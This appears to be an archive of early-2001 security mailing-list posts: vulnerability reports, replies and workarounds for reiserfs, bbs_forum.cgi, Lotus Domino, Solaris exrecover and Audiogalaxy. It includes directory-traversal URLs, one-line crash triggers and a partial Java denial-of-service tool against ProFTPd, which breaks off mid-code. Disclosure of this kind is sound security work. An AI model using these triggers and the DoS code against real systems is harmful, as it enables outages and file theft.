summercon 2001 announce
-BEGIN PGP SIGNED MESSAGE- Summercon 2001 The Grand Hotel Krasnapolsky 01-03 June 2001 Amsterdam, NL This year's Summercon will be quite different from those of years past. For the first time ever the conference will be outside of the United States with this years venue being the Netherlands. (The official language will be English). Next, the event will be much better organized then in years past. For example, there are already confirmed presenters. Also, for the first time in five years, there is going to be an entrance fee (US $25) for access to the presentations. These sessions will be available live via streaming media and edited sessions will be available online sometime after the conference. A publication named the Summer Security Journal will be made available containing edited contents of each of the presentations. And, finally, this year the press will have access to the conference. As always, the conference should be fun and filled with unexpected moments. Amsterdam is renown for a culture that the security community will find it easy to identify with both intellectually and festively. Updated information will be available on the website at http://www.summercon.org/ and via the mailing list. Location: The Grand Hotel Krasnopolsky Dam 9 1012 JS AMSTERDAM Phone +31 20 5549111 Fax +31 20 6228607 [EMAIL PROTECTED] http://www.krasnapolsky.nl/en_index.asp Dates: 15 February 2001Paper and speaker info posted to site 01 June 2001Arrivals and Introductions 02 June 2001Presentations 03 June 2001Farewell Transportation By Air: Fly to Amsterdam Airport Schiphol (AMS). see: http://www.schiphol.nl/ Bus, Rail, and Taxi service can take you to central Amsterdam from the Schiphol airport to the hotel. Schiphol is a major international airport and most every major carrier provides service to this destination. Booking flights well in advance will keep the purchase price reasonable. Additional transportation information can be found at http://www.summercon.org/transportation/index.html Mailing List: To join the Summercon 2001 mailing list send email to [EMAIL PROTECTED] with the subject line "subscribe scon2001" without quotes. Contact: For more information or questions about the conference email [EMAIL PROTECTED] or visit the website: http://www.summercon.org/ Press: For serious press inquiries please contact via [EMAIL PROTECTED] address for a further details. Louis Trumpbour Summercon Coordinator -BEGIN PGP SIGNATURE- Version: PGP 6.5i iQEVAwUBOlukkD/qQp/ayCXlAQHtugf+J5PvLGFi9rHyeqcGqyQkdzXXXl40bqha 2ZwHQ3POz0bIKbedXcQY9N/NjnT7nSDTcl5Hi8LEr0iD4MhDkndAELxBqWlcVt/8 xSYiJESb/X5oN5TxW/tPnRVxN0HdpVDYdsAtzNFStttzJvOK9xxEpbYYPbRU1GsQ eOl1KPFGZEBq8+dKaEyUJPtXwZtkjYt6Wq024Yy+Cr7k2ClKIq0M0J1YVlvVylkt JXvZtUsnoaz6kIeJHw5/UP6W6M1FcSR/tD/Tbmm3f/nxhEVw3Mx5hOWGeT0zrQCv 3uuJGFlsa+ui85dSjOXdqccU3VGwceLPx/T5U5zZkXnL5n2OvpsITQ== =EfqX -END PGP SIGNATURE-
Re: [reiserfs-list] major security bug in reiserfs (may affect SuSE Linux)
I can't reproduce this. [root@vaio /root]# mkdir "$(perl -e 'print "x" x 768')" [root@vaio /root]# ls [root@vaio /root]# John > We are still investigating, but there seems to be a major security problem > in at least some versions of reiserfs. Since reiserfs is shipped with > newer versions of SuSE Linux and the problem is too easy to reproduce and > VERY dangerous I think alerting people to this problem is in order. > > We have tested and verified this problem on a number of different systems > and kernels 2.2.17/2.2.8 with reiserfs-3.5.28 and probably other versions. > > Basically, you do: > > mkdir "$(perl -e 'print "x" x 768')" > > I.e. create a very long directory. The name doesn't seem to be of > relevance (we found this out by doing mkdir "$(cat /etc/hosts)" for other > tests). This works. The next ls (or echo *) command will segfault and the > kernel oopses. all following accesses to the volume in question will oops > and hang the process, even afetr a reboot. > > reiserfsck (the filesystem check program) does _NOT_ detect or solve this > problem: > > Replaying journal..ok > Checking S+tree..ok > Comparing bitmaps..ok > > But fortunately, rmdir works and seems to leave the filesystem > undamaged. > > Since a kernel oops results (see below), this indicates a buffer overrun > (the kernel jumps to address 78787878, which is "") inside the kernel, > which is of course very nasty (think ftp-upload!) and certainly gives you > root access from anywhere, even from inside a chrooted environment. We > didn't pursue this further. > > The best workaround at this time seems to be to uninstall reiserfs > completely or not allow any user access (even indirect) to these volumes. > While this individual bug might be easy to fix, we believe that other, > similar bugs should be easy to find so reiserfs should not be trusted (it > shouldn't be trusted to full user access for other reasons anyway, but it > is still widely used). > > Unable to handle kernel paging request at virtual address 78787878 > current->tss.cr3 = 0d074000, %cr3 = 0d074000 > *pde = > Oops: 0002 > CPU:0 > EIP:0010:[] > EFLAGS: 00010282 > eax: ebx: bfffe78c ecx: edx: bfffe78c > esi: ccbddd62 edi: 78787878 ebp: 0300 esp: ccbddd3c > ds: 0018 es: 0018 ss: 0018 > Process bash (pid: 292, process nr: 54, stackpage=ccbdd000) > Stack: c013f66a ccbddf6c cd10 ccbddd62 030c c0136d49 0700 2013 >1000 7878030c 78787878 78787878 78787878 78787878 78787878 78787878 >78787878 78787878 78787878 78787878 78787878 78787878 78787878 78787878 > Call Trace: [] [] > Code: 89 1f 8b 44 24 18 29 47 08 31 c0 5b 5e 5f 5d 81 c4 2c 01 00 > > >
Re: [reiserfs-list] major security bug in reiserfs (may affect SuSE Linux)
Hi Marc Lehmann wrote: > We are still investigating, but there seems to be a major security problem > in at least some versions of reiserfs. Since reiserfs is shipped with > newer versions of SuSE Linux and the problem is too easy to reproduce and > VERY dangerous I think alerting people to this problem is in order. > > We have tested and verified this problem on a number of different systems > and kernels 2.2.17/2.2.8 with reiserfs-3.5.28 and probably other versions. > > Basically, you do: > > mkdir "$(perl -e 'print "x" x 768')" > > I.e. create a very long directory. The name doesn't seem to be of > relevance (we found this out by doing mkdir "$(cat /etc/hosts)" for other > tests). This works. The next ls (or echo *) command will segfault and the > kernel oopses. all following accesses to the volume in question will oops > and hang the process, even afetr a reboot. > Hmm, mkdir "$(perl -e 'print "x" x 768')" ls echo * works here as it should. (2.2.18 and reiserfs-3.5.29) Did I miss something? Thanks, vs > > reiserfsck (the filesystem check program) does _NOT_ detect or solve this > problem: > > Replaying journal..ok > Checking S+tree..ok > Comparing bitmaps..ok > > But fortunately, rmdir works and seems to leave the filesystem > undamaged. > > Since a kernel oops results (see below), this indicates a buffer overrun > (the kernel jumps to address 78787878, which is "") inside the kernel, > which is of course very nasty (think ftp-upload!) and certainly gives you > root access from anywhere, even from inside a chrooted environment. We > didn't pursue this further. > > The best workaround at this time seems to be to uninstall reiserfs > completely or not allow any user access (even indirect) to these volumes. > While this individual bug might be easy to fix, we believe that other, > similar bugs should be easy to find so reiserfs should not be trusted (it > shouldn't be trusted to full user access for other reasons anyway, but it > is still widely used). > > Unable to handle kernel paging request at virtual address 78787878 > current->tss.cr3 = 0d074000, %cr3 = 0d074000 > *pde = > Oops: 0002 > CPU:0 > EIP:0010:[] > EFLAGS: 00010282 > eax: ebx: bfffe78c ecx: edx: bfffe78c > esi: ccbddd62 edi: 78787878 ebp: 0300 esp: ccbddd3c > ds: 0018 es: 0018 ss: 0018 > Process bash (pid: 292, process nr: 54, stackpage=ccbdd000) > Stack: c013f66a ccbddf6c cd10 ccbddd62 030c c0136d49 0700 2013 >1000 7878030c 78787878 78787878 78787878 78787878 78787878 78787878 >78787878 78787878 78787878 78787878 78787878 78787878 78787878 78787878 > Call Trace: [] [] > Code: 89 1f 8b 44 24 18 29 47 08 31 c0 5b 5e 5f 5d 81 c4 2c 01 00 > > -- > -==- | > ==-- _ | > ---==---(_)__ __ __ Marc Lehmann +-- > --==---/ / _ \/ // /\ \/ / [EMAIL PROTECTED] |e| > -=/_/_//_/\_,_/ /_/\_\ XX11-RIPE --+ > The choice of a GNU generation | > |
Re: [reiserfs-list] major security bug in reiserfs (may affect SuSE Linux)
On Wednesday, January 10, 2001 12:42:01 AM +0100 Marc Lehmann <[EMAIL PROTECTED]> wrote: > We are still investigating, but there seems to be a major security problem > in at least some versions of reiserfs. Since reiserfs is shipped with > newer versions of SuSE Linux and the problem is too easy to reproduce and > VERY dangerous I think alerting people to this problem is in order. > Sorry, a quick attempt at reproducing on 2.2.17 and 2.2.19 kernels did not cause an oops. Could you please send me a decoded version of the oops to help track things down? thanks, Chris
major security bug in reiserfs (may affect SuSE Linux)
We are still investigating, but there seems to be a major security problem in at least some versions of reiserfs. Since reiserfs is shipped with newer versions of SuSE Linux and the problem is too easy to reproduce and VERY dangerous I think alerting people to this problem is in order. We have tested and verified this problem on a number of different systems and kernels 2.2.17/2.2.8 with reiserfs-3.5.28 and probably other versions. Basically, you do: mkdir "$(perl -e 'print "x" x 768')" I.e. create a very long directory. The name doesn't seem to be of relevance (we found this out by doing mkdir "$(cat /etc/hosts)" for other tests). This works. The next ls (or echo *) command will segfault and the kernel oopses. all following accesses to the volume in question will oops and hang the process, even afetr a reboot. reiserfsck (the filesystem check program) does _NOT_ detect or solve this problem: Replaying journal..ok Checking S+tree..ok Comparing bitmaps..ok But fortunately, rmdir works and seems to leave the filesystem undamaged. Since a kernel oops results (see below), this indicates a buffer overrun (the kernel jumps to address 78787878, which is "") inside the kernel, which is of course very nasty (think ftp-upload!) and certainly gives you root access from anywhere, even from inside a chrooted environment. We didn't pursue this further. The best workaround at this time seems to be to uninstall reiserfs completely or not allow any user access (even indirect) to these volumes. While this individual bug might be easy to fix, we believe that other, similar bugs should be easy to find so reiserfs should not be trusted (it shouldn't be trusted to full user access for other reasons anyway, but it is still widely used). Unable to handle kernel paging request at virtual address 78787878 current->tss.cr3 = 0d074000, %cr3 = 0d074000 *pde = Oops: 0002 CPU:0 EIP:0010:[] EFLAGS: 00010282 eax: ebx: bfffe78c ecx: edx: bfffe78c esi: ccbddd62 edi: 78787878 ebp: 0300 esp: ccbddd3c ds: 0018 es: 0018 ss: 0018 Process bash (pid: 292, process nr: 54, stackpage=ccbdd000) Stack: c013f66a ccbddf6c cd10 ccbddd62 030c c0136d49 0700 2013 1000 7878030c 78787878 78787878 78787878 78787878 78787878 78787878 78787878 78787878 78787878 78787878 78787878 78787878 78787878 78787878 Call Trace: [] [] Code: 89 1f 8b 44 24 18 29 47 08 31 c0 5b 5e 5f 5d 81 c4 2c 01 00 -- -==- | ==-- _ | ---==---(_)__ __ __ Marc Lehmann +-- --==---/ / _ \/ // /\ \/ / [EMAIL PROTECTED] |e| -=/_/_//_/\_,_/ /_/\_\ XX11-RIPE --+ The choice of a GNU generation | |
Re: Audiogalaxy.com mp3 sharing software
Hello, While its true if a user got a hold of your password they could send you mp3 files - or at least files with an mp3 extension. The satellite will only name files with a .temp or .mp3 extension. Even if the filename is really an executable it will have a .mp3 extension. To actually run the file you would then need to purposely rename the file with a .exe extension. Hope this helps - if you have any other security related questions I will be glad to answer. > 2. Problem? > While this problem will not stop the world or allow the script kiddies > to ./wu their way through us, its a problem none the less. Versions of > Audiogalaxy Satelite software pre .601W for windows held the username and > password for a users account in a plain text file within the audiogalaxy > directory on their system. While if an intruder gained this information only > the list of songs in the download que (which is stored on the server) would > be compromised, this could have other effects. > > 2a. theory one 1. Gain the username and password for a users acct. Intruder > modies the download que so that when the user comes online they will download > a "mp3" from the intruders system. The mp3 is actually something else. ie. > virus or back orifice or similar program. If the user ran the mp3 directly > then of course the infection would start. --lets examine this a little > further. Evil intruder steals password and username. Edits download que. > User runs fake mp3 which is back orifice. User gets keylogged. User is > goverment employee who telnets (telnet bad) into secure goverment system. > Goverment system not secure anymore. Web site gets defaced. Oh no the > kiddies can use this. > > 2b. theory two. 2. Many users use a common password and this is the point > that i brought to Audiogalaxy. While its not their problem if a user does > this, why not help out. If the user had their Audiogalaxy username and > password compromised then its possible other things get compromised. > > > 3. Solution > > Upgrade to the newest version which has been out for sometime, and in general > use different passwords. > > Note- I have not checked the Linux version for any problems, if someone gets > to it before I do pleae let me know. >
Re: Cgisecurity.com Advisory #3.1
Clarification to the remote execution versus remote file reading portion of
the advisory:
1) Very old versions of bbs_forum.cgi suffered from ability to execute
commands through lack of input handling.
This was fixed several years ago two-fold: (1) adding taint mode and (2)
tightening perl's open() commands so that the file operator (eg <) were
included literally instead of relying on the default open operator being
"open for read".
Part of this advisory was written from testing this pre-taintmode version
of the script.
2) However, taintmode does not check user input for reading files. So a
directory traversal/arbitrary file reading bug remained in the read
parameter when used in conjunction with several other input parameters as
stated below.
When we were alerted by CGISecurity.com, we also gave the script another
quick once-over and discovered a different but similar domino effect on the
reply_to_message parameter as well.
Both those problems are fixed with the patch we provided below in
CGISecurity's posting.
In summary, those people running a version of bbs_forum.cgi without
taintmode are running a really old version and should upgrade completely as
they've ignored our prior security alerts.
Those people who do have taintmode enabled in the script can safely assume
the patch below is the only patch they require.
At 04:52 PM 1/7/01 -0500, [EMAIL PROTECTED] wrote:
>The staff at cgisecurity.com have found a security issue with a
>forum script that is widley used.
>
>Below is the advisory along with the vendor patch.
>
>-zenomorph
>
> [Cgi Security Advisory #3.1]
> [EMAIL PROTECTED]
>bbs_forum.cgi
>
>
>
>Found
>January 3rd 2001
>
>Vendor Contacted
>January 3rd 2001
>
>Public Release
>January 7th 2001
>
>
>
>Script Effected: bbs_forum.cgi
>Free
>
>Versions Effected:
>1.0
>(Others unknown)
>
>Platforms
>UNIX
>
>Vendor
>http://www.extropia.com
>Patch
>http://www.extropia.com/hacks/bbs_security0.html
>
>
>
>
>1. Impact
>
>Any file can be read with the permissions of user nobody(or webserver).
>Possible root comprimise in bbs_forum.cgi script. Command execution is
>allowed and therefore shell spawning is possible. This has been tested on
>unix and linux systems only and it is unknown if windows versions exist
>and/or are effected.
>
>One thing to be noted about this hole is that perl was in taint mode, and
>still allowed files to be read, and commands to be executed. This was
>not originally intended. This is proof that perl -t is not always
>enough.
>
>Example:
>
>www.host.com/cgi-bin/bbs_forum.cgi?forum=name>&read=../bbs_forum.cgi
>Will grab the scripts own sourcecode.
>Note: In order for this hole to work a valid forum name must be used,
>so simply trying to call read= only may not work.
>
>2. Fixes
>
>The vendor has been contacted about this serious security problem.
>Please visit the vendor's website for patches and other important
>information.
>
>
>
>3. Attached Vendor Patch
>
>Note: This is a patch for people who know what they are doing.
>Please visit http://www.extropia.com/hacks/bbs_security0.html
>for information on upgrading.
>
>
>
>* Vendor patch snippet **
>
>If you have made extensive modifications to bbs_forum.cgi and do not wish
>to start over from scratch, search for the line at the start of
>bbs_forum.cgi that says
>
> &ReadParse;
>
> And insert afterwards the following:
>
> if ($in{'read'} && $in{'read'} !~ /^\d+-\d+\.msg$/i)
>{
> print "Invalid Message #";
> die("Invalid Message # provided: " .
> $in{'read'});
> }
> if ($in{'reply_to_message'} &&
>$in{'reply_to_message'} !~ /^\d+-\d+\.msg$/i) {
> print "Invalid Reply To Message #";
> die("Invalid Reply To Message # provided: " .
> $in{'reply_to_message'});
> }
>
>This code assures the script that the message file
>form variables can only consist of the strict filename format of digits
>followed by a hyphen followed by some digits followed by the literal
>string ".msg".
>
>We recommend updating your script as soon as possible.
>Special thanks to cgisecurity.com for pointing our the issue.
>
>
> End Patch **
>
>Published to the Public January 2001
>Copyright January 2001 Cgisecurity.com
__
Gunther Birznieks ([EMAIL PROTECTED])
eXtropia - The Web Technology Company
http://www.extropia.com/
Re: Solaris /usr/lib/exrecover buffer overflow
Pablo Sor wrote: > The /usr/lib/exrecover contains a buffer overflow > (this command is suid in Solaris 2.4/5/6) Starting with Solaris 7 exrecover is no longer installed setuid root. It is safe to change the exrecover permissions to 0555 on all other releases since it doesn't need elevated privleges to do its job; /var/preserve is 1777. This is Sun bug# 4161925 -- Darren J Moffat
Memory leakage in ProFTPd leads to remote DoS (SIZE FTP); (Exploit Code)
Hello Bugtraq:
Not so much time ago a ProFTPd remote vulnerability was released:
" ProFTPd has memory leakage bug when it executes the SIZE FTP command. By
calling the FTP command SIZE 5000 times it possible to cause ProFTPd to
consume over 300kB of memory. Exploiting this bug with more SIZE commands
gives us simple DoS attack. Anonymous access is sufficient to use SIZE
commands and to exploit this bug."
I have coded a program that do more than 5000 size's requests to the
server, in order to crash it. ¿Why in Java? well I think the procedure is
enough simple to needn't code it in c. In addition, ¿Why not in Java? ;-) we
don't need various versions of the program for Linux, BSD, Solaris, etc; there
is an unique program for all the OS and architectures. I wanna bet in favor of
the use of Java to code next generation xploits & DoS ;-)
Vulnerability: Remote DoS in ProFTPd
Requirements: Anonymous or normal user access
Vulnerable systems:
ProFTPd 1.2.0rc1(Tested)
ProFTPd 1.2.0rc2(Tested)
And maybe others (1.2.0preX); I have no test this, but I'm sure you can
do it for me ;-)
And now, here is the code:
proftpDoS.java
---
/* Remote DoS in proFTPd
Code by: JeT-Li -The Wushu Master- [EMAIL PROTECTED]
Well here is a little explanation about the concept of the DoS:
ProFTPd has memory leakage bug when it executes the SIZE FTP command. By
calling the FTP command SIZE 5000 times it possible to cause ProFTPd
to consume over 300kB of memory. Exploiting this bug with more SIZE
commands gives us simple DoS attack. Anonymous access is
sufficient to use SIZE commands and to exploit this bug.
You don't have to give arguments when you execute the program, it will
request you these.
Greets: _kiss_ (the real fucker ;-P); gordoc (no comment, the most
hax man in the w0rld); Perip|o (tibetan mantras for u! ;-P); and all
the ppl of #hackers (not able for cardiac XD).
Vulnerable systems:
ProFTPd 1.2.0rc1(Tested)
ProFTPd 1.2.0rc2(Tested)
And maybe others (1.2.0preX); I have no test this, but I'm sure you can
do it for me ;-)
*/
import java.net.*;
import java.io.*;
class TCPconnection {
public TCPconnection (String hostname, int portnumber) throws Exception {
Socket s = doaSocket(hostname, portnumber);
br = new BufferedReader (new InputStreamReader (s.getInputStream()));
ps = new PrintStream (s.getOutputStream());
}
public String readLine() throws Exception {
String s;
try { s = br.readLine(); }
catch (IOException ioe) {
System.out.println("TCP Error ... it's a little hax0r exception ;-)");
throw new Exception ("\nInput Error: I/O Error");
}
return s;
}
public void println(String s) {
ps.println(s);
}
private Socket doaSocket(String hostname, int portnumber) throws Exception {
Socket s = null;
int attempts = 0;
while (s == null && attemptshttp://im.yahoo.com
Re: Audiogalaxy.com mp3 sharing software
On Tue, 9 Jan 2001 [EMAIL PROTECTED] wrote: >Note- I have not checked the Linux version for any problems, if someone gets >to it before I do pleae let me know. The Linux version has this problem and it has not been fixed. The .6 series of the program has not been released for Linux as of yet (currently .52). account.txt is clear text in that version. -- Adam Knight[EMAIL PROTECTED] MIS Developerhttp://www.jump.net __Codito, ergo sum__ A feature is a bug with seniority.
Re: bugtraq id 2173 Lotus Domino Server
Thanks to Ninke Westra for testing this... The same problem as in my previous post exists in this case If you append a phoney directory to the url passed on to the webserver the exploit will still work, however you have to back out an extra time. example url: target.victim.com/nonexistingdir/.nsf/../../fileyouwanttoget This makes the url redirection solution less obvious to guess, but it still leaves you vulnerable. Regards, Hendrik-Jan Verheij http://redheat.orgHostmaster Popin Internet +3174 2555770[EMAIL PROTECTED] http://www.popin.nlAssimilation is irrelevant, You are futile! - Original Message - From: Alan Bell To: [EMAIL PROTECTED] Sent: Tuesday, January 09, 2001 12:02 PM Subject: bugtraq id 2173 Lotus Domino Server Further information on this issue: 1) This issue has been reproduced on several versions of domino prior to 5.0.5 2) My testing has failed to reproduce this issue on Linux and OS/400 (AS/400) 3) To secure your boxes create 3 file protection documents for each server granting no access to the following paths. /.nsf/../ /.box/../ /.ns4/../ the other common domino extensions .ns3 and .ntf do not appear to be vulnerable. This is not a Lotus supported solution (as yet) so there may be additional similar paths with this behaviour. You should watch http://www.notes.net for an upgrade which will probably appear as 5.0.6a. Alan.
Re: New DDoS?
On Tue, 9 Jan 2001, nealk wrote: > Alternate (New) DDoS model: > - Server 'A' directly prevents all clients from accessing server 'B'. I don't see how this is particularly "distributed". > Let's say that someone placed a corrupt Flash (SWF) file on a web server. > All clients that access the web server and that view the Flash file > (about 90% of all browsers can, so this is a good assumption) will > have their browsers crash or hang. > I.e. if you can hack the server, then the clients will be susceptible to client holes. Yes, absolutely. I've been waiting for this one for some time... rather that make an obvious defacement when one breaks into a web site, leave the site up as-is (at a superficial level), but with a browser hole embedded in the HTML. The problems with this being terribly effective is that it will be found relatively quickly (at least, if it's a popular site) and that there is a central place to fix it quickly. Even if the defacement sticks around for a few days, even non-technical users will pretty quickly learn that when they visit example.com, their browser crashes. The attack would have to be subtle (i.e. not crash the browser) and the site would have to be popular, but not very carefully watched by the administrators. In fact, given a powerful enough hole, this is a good way to build an army of traditional zombies. Or steal loads of personal info off of clients. Ryan
Solaris /usr/lib/exrecover buffer overflow
Hi, The /usr/lib/exrecover contains a buffer overflow (this command is suid in Solaris 2.4/5/6) The problem occurs when it gets the second argument, it accepts the argument without checking out its lenght and this causes the problem. The overflow seems to be in the heap space. $ /usr/lib/exrecover hola `perl -e 'printf "A"x5'` Segmentation Fault (core dumped) $ gdb /usr/lib/exrecover --core=core GNU gdb 4.17 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "sparc-sun-solaris2.6"... (no debugging symbols found)... Core was generated by `/usr/lib/exrecover hola AAA'. Program terminated with signal 11, Segmentation Fault. Reading symbols from /usr/lib/libmapmalloc.so.1... (no debugging symbols found)...done. Reading symbols from /usr/lib/libc.so.1...(no debugging symbols found)...done. Reading symbols from /usr/lib/libdl.so.1...(no debugging symbols found)...done. Reading symbols from /usr/platform/SUNW,Ultra-5_10/lib/libc_psr.so.1... (no debugging symbols found)...done. #0 0xef6a44d8 in strcpy () Pablo Sor [EMAIL PROTECTED]
Re: New DDoS?
* nealk <[EMAIL PROTECTED]> [010109 10:41] wrote: > I think I have stumbled across a new category of distributed denial > of service (DDoS). (If this is old news, I'm sure I'll be corrected; > it's new to me.) > > Traditional DDoS have the follow flow: > - A host (or few hosts) controls a large number of clients. > - The clients are directed by the host to attack a single site/server. > The attack can either be network or service oriented. > > > Alternate (New) DDoS model: > - Server 'A' directly prevents all clients from accessing server 'B'. > > > Here's an example of how it could work: > I recently posted about a Flash plugin risk that can crash or hang a browser. > > Let's say that someone placed a corrupt Flash (SWF) file on a web server. > All clients that access the web server and that view the Flash file > (about 90% of all browsers can, so this is a good assumption) will > have their browsers crash or hang. While this is a possibility, it doesn't make much sense, news would spread like wildfire and people would drop links to the add service pretty quickly. Your attack would need either: a) a suicidal company. b) a hacked ad server. c) widespread DNS poisoning. Ad services can do other nasties like using 302s to redirect hundreds or thousands of hits to a particularly system intensive service on a remote site, that's a nasty DoS but also a good way to get yourself involved in a nasty lawsuit. -- -Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]] "I have the heart of a child; I keep it in a jar on my desk."
Re: New DDoS?
Interesting... but all the big ad agencies like Doubleclick screen the ads that they allow into their system. If the person that was authorizing ads had his browser hang when they went to view a particular ad, don't you think they would be suspicious? Of course, this does not solve the problem, but the situation you described probably wouldn't happen in real life. The situation I can imagine in which this MIGHT happen is with the LinkExchanges, but 99.999% of them only allow gif/jpg pictures, and not flash or any other formats. Another situation I can see is with the email programs. Many of them open up in the INBOX folder. Now, if a person receives an email formatted with html and has a 'bad' flash file in it, the person's email would crash instantly, denying access to any mail functions. The person could theoritically press delete before the flash file crashes the email program, but as you can see this would already deny access at least a few times till the person catches on. Any ideas? Jason. - Original Message - From: "nealk" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Wednesday, 10 January, 2001 12:07 AM Subject: New DDoS? > I think I have stumbled across a new category of distributed denial > of service (DDoS). (If this is old news, I'm sure I'll be corrected; > it's new to me.) > > Traditional DDoS have the follow flow: > - A host (or few hosts) controls a large number of clients. > - The clients are directed by the host to attack a single site/server. > The attack can either be network or service oriented. > > > Alternate (New) DDoS model: > - Server 'A' directly prevents all clients from accessing server 'B'. > > > Here's an example of how it could work: > I recently posted about a Flash plugin risk that can crash or hang a browser. > > Let's say that someone placed a corrupt Flash (SWF) file on a web server. > All clients that access the web server and that view the Flash file > (about 90% of all browsers can, so this is a good assumption) will > have their browsers crash or hang. > > This is a DoS against the site, but it attacks the clients rather than > the server. > > Now, let's take it one step further. > Doubleclick, adtegrity.spinbox.net, and Akamai are linked by most > large web sites. (Amazon, eBay, AltaVista, etc.) > I have observed these sites returning banner ads written as jpeg, > gif, and SWF. > Let's say that one of the SWF files is corrupted. > The single ad site can effectively deny all client access to the host > site by crashing/hanging all client browsers. > > Server 'A' (the ad site) can directly prevent all clients from > accessing server 'B' (the host web site). > > What's worse: This is more difficult to identify since local testing > on the local server may not identify why the clients are crashing. > The local server does not know what information was sent to the clients > by the ad sites. > > In this example, I used ad sites and SWF files. It can be done with > any third-party site (remember all the Web Bugs discussions?). > Although SWF can do it today, I'm sure there will be more technologies > that can do it tomorrow. > > > Question: How can sites protect themselves from this? > (I mean: Aside from the obvious, "don't link to ad sites.") > > > Finally, I'm sure there are some script kiddies just dying to be "the > first one to pull this off". Please don't. Accidents happen all by > themselves and it's only a matter of time before this is seen in the > wild and by accident. Why bother implementing something this trivial? > > > Thoughts? > > -Neal >
Lotus Domino 5.0.5 Web Server vulnerability WORK AROUNDS
These came to me from the Notes Admin List. ---Solution 1- I don't the original author of this fix, so I can't give proper credit. Add a File Protection Document in your PAB/DD: Path: /.box/../ Access Control: -Default- - No Access Repeat this for .ns4 and .nsf (.ns3 and .ntf are not affected). Once you do this, do "tell http restart" or bounce your server. ---Solution 2- >Well, as Lotus haven't released a fix for the *confirmed* bug, we >get a workaround. Adding the following line: > >map */../* /something.nsf > > at httpd.conf, seems to handle the bug. You should notice that >EVERYTHING using ../ links will stop working too, including the bug ! > > We tested this on NT4 sp6a and Domino 5.0.5, and we COULDN'T get >the bug working after those lines were added. > > As we couldn't reproduce the bug on Linux Domino servers, and >seems that nobody could, we don't think adding those lines on Linux >httpd.conf servers is necessary. > > Sincerily, > Rodolfo Stein ([EMAIL PROTECTED]) > Solution Web ( http://www.solutionweb.com.br ) Solution one works. I have not tried solution 2. Thom Dyson Director of Information Services Sybex, Inc.
Re: New DDoS?
Hello and Happy New Year everybody, On Tue, Jan 09, 2001 at 08:07:37AM -0800, nealk wrote: > Traditional DDoS have the follow flow: > - A host (or few hosts) controls a large number of clients. > - The clients are directed by the host to attack a single site/server. > The attack can either be network or service oriented. > > > Alternate (New) DDoS model: > - Server 'A' directly prevents all clients from accessing server 'B'. Well, I do not think that this qualifies as a DoS. Denial of Service is when the site denies service to the clients contacting it. Here, the clients are attacked, but similar attacks have been around for a long time. I think of eg DNS poisoning, which will prevent users from accessing the site they want (although they get something else) or a whole class of Man-in-the-middle-Attacks. Yet, these all count as themselves and not as DoS when making categories. But this may well be an unimportant semantics thing. (On a very important side-note, although users will not get to the service, this kind of attack does not incur huge load on the server and the network nodes and does not cause marginal conditions, much less will it be able to bring down a server. So you can react to it can be a much more relaxed manner, and also at least the perpetrators are not endangering the whole Internet infrastructure with their deeds, but rather just one particular service. This, of course may be no cause for joy to the service concerned, but as soon as you discover what's wrong, you can take quick decisive action and restore access to the service *without any performance loss* visible to the customer. There is no rate-limiting problem, no slowdown, nothing. So the danger is a lot more benign.) > Here's an example of how it could work: > I recently posted about a Flash plugin risk that can crash or hang a browser. > > Let's say that someone placed a corrupt Flash (SWF) file on a web server. > All clients that access the web server and that view the Flash file > (about 90% of all browsers can, so this is a good assumption) will > have their browsers crash or hang. > > This is a DoS against the site, but it attacks the clients rather than > the server. Yes, but this not new in the sense that if you can place a corrupt SWF file there, you can place any other "bad" content as well. Exploiting scripting bugs, eg. Also, a DoS is IMHO more sweeping in definition. If a site is DoS-ed than you cannot get at it, period. While here merely not having or disabling the offending plugin already gives you access. If this were a DoS, then some leading portal and other high-profile sites continually are DoS-ing their users with eg scripts that only work on IE but may crash Netscape. (At one time microsoft.com came into such suspicion because a certain page took almost forever to download and render with Netscape on non-windows platforms and some users experienced browser hang or crash. However, upon more testing it was found that the page took longest to display on Win98 and I think IE4. Whoo-whoo:-) > Now, let's take it one step further. > Doubleclick, adtegrity.spinbox.net, and Akamai are linked by most > large web sites. (Amazon, eBay, AltaVista, etc.) > I have observed these sites returning banner ads written as jpeg, > gif, and SWF. > Let's say that one of the SWF files is corrupted. > The single ad site can effectively deny all client access to the host > site by crashing/hanging all client browsers. > > Server 'A' (the ad site) can directly prevent all clients from > accessing server 'B' (the host web site). Well, this is possible but again, as soon as you disable ads, you get in. This remains an issue however, but should be named differently. How about access blockage? Also, scripting "tricks" can be used similarly. Easy verification in all cases: try a text browser. If you get in, it is access blockage. (quickly coined abbreviation: AB) > What's worse: This is more difficult to identify since local testing > on the local server may not identify why the clients are crashing. Well, if local testing involves loading the page with one of the leading browsers, then it almost surely will:-) Eg with an ad it has to target your site specifically (and display with every new download) or else it may not be noticeable. > Question: How can sites protect themselves from this? > (I mean: Aside from the obvious, "don't link to ad sites.") It is equally tricky IMHO than it would be with a real DoS. Just as with a DoS you can only act on a case-by-case basis and general rules are hard to make, here it helps only if you react on a case-by-case basis. After all, we are talking circumstances outside of your control here. But you are right, considering that most people use one of the leading browsers and have all sorts of interesting plugins and have no notion of to handle them (eg how to disable them) this will become a problem just as viruses have with the advent of all-singing-all-dancing, totally-transparent-
Re: /usr/sbin/audlinks vulnerability
It was never stated you could use audlinks to gain root through rsh/rlogin. in my post I said you could use it to clobber (overwrite to clarify because obviously I have to) audlinks like many programs doesn't fstat the file it opens with O_RDWR access properly. As far as this posing a threat to a systems files, its highly unlikely. This was just notice of failure to fstat properly, which could lead to problems. And audlinks is executed on boot with static arguements, so this is not vulnerable. -Optyx http://www.uberhax0r.net
Re: HP/UX FTP format string vulnerability
Zorgan,
Maybe I am missing the point, but how is making a non-setuid client
application crash a vulnerability? Most Linux distro's before the summer of
2000 had the same problem, yet it never became a security issue. I could
understand if the app was being called by a privileged application under
control of a non-privileged user[1], but this doesnt seem to be the case.
During the normal use of the ftp program, there is no reason for the user to
ever execute the SITE command containing the exact format string sequence
needed to exploit this. Since the bug only affects the SITE command, even
people doing batch-mode transfers from untrusted sites shouldn't worry. The
only exploit situation is if you allow an untrusted user to add commands to
your .netrc or otherwise have your user account execute arbitrary ftp
commands, either of which provides much easier access to your account than
exploiting a format string (get /some/dir/evilhosts /home/user/.rhosts).
This is almost as bad as saying that you can read /etc/shadow if you know
